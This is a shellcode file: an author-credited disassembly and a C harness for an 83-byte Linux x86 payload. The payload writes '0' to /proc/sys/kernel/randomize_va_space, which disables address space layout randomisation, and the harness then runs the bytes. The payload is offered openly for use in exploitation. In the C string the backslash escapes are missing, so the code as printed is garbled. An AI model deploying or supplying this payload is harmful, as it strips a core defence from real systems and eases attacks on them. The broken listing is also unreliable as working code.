/*
Title:	Linux x86 ASLR deactivation - 83 bytes
Author:	Jean Pascal Pereira <pereira@secbiz.de>
Web:	http://0xffe4.org


Disassembly of section .text:

08048060 <_start>:
 8048060:       31 c0                   xor    %eax,%eax
 8048062:       50                      push   %eax
 8048063:       68 70 61 63 65          push   $0x65636170
 8048068:       68 76 61 5f 73          push   $0x735f6176
 804806d:       68 69 7a 65 5f          push   $0x5f657a69
 8048072:       68 6e 64 6f 6d          push   $0x6d6f646e
 8048077:       68 6c 2f 72 61          push   $0x61722f6c
 804807c:       68 65 72 6e 65          push   $0x656e7265
 8048081:       68 79 73 2f 6b          push   $0x6b2f7379
 8048086:       68 6f 63 2f 73          push   $0x732f636f
 804808b:       68 2f 2f 70 72          push   $0x72702f2f
 8048090:       89 e3                   mov    %esp,%ebx
 8048092:       66 b9 bc 02             mov    $0x2bc,%cx
 8048096:       b0 08                   mov    $0x8,%al
 8048098:       cd 80                   int    $0x80
 804809a:       89 c3                   mov    %eax,%ebx
 804809c:       50                      push   %eax
 804809d:       66 ba 30 3a             mov    $0x3a30,%dx
 80480a1:       66 52                   push   %dx
 80480a3:       89 e1                   mov    %esp,%ecx
 80480a5:       31 d2                   xor    %edx,%edx
 80480a7:       42                      inc    %edx
 80480a8:       b0 04                   mov    $0x4,%al
 80480aa:       cd 80                   int    $0x80
 80480ac:       b0 06                   mov    $0x6,%al
 80480ae:       cd 80                   int    $0x80
 80480b0:       40                      inc    %eax
 80480b1:       cd 80                   int    $0x80



*/

#include <stdio.h>

char shellcode[] = "x31xc0x50x68x70x61x63x65x68x76x61x5fx73x68"
                   "x69x7ax65x5fx68x6ex64x6fx6dx68x6cx2fx72x61"
                   "x68x65x72x6ex65x68x79x73x2fx6bx68x6fx63x2f"
                   "x73x68x2fx2fx70x72x89xe3x66xb9xbcx02xb0x08"
                   "xcdx80x89xc3x50x66xbax30x3ax66x52x89xe1x31"
                   "xd2x42xb0x04xcdx80xb0x06xcdx80x40xcdx80";


int main()
{
  fprintf(stdout,"Lenght: %dn",strlen(shellcode));
  (*(void  (*)()) shellcode)();
}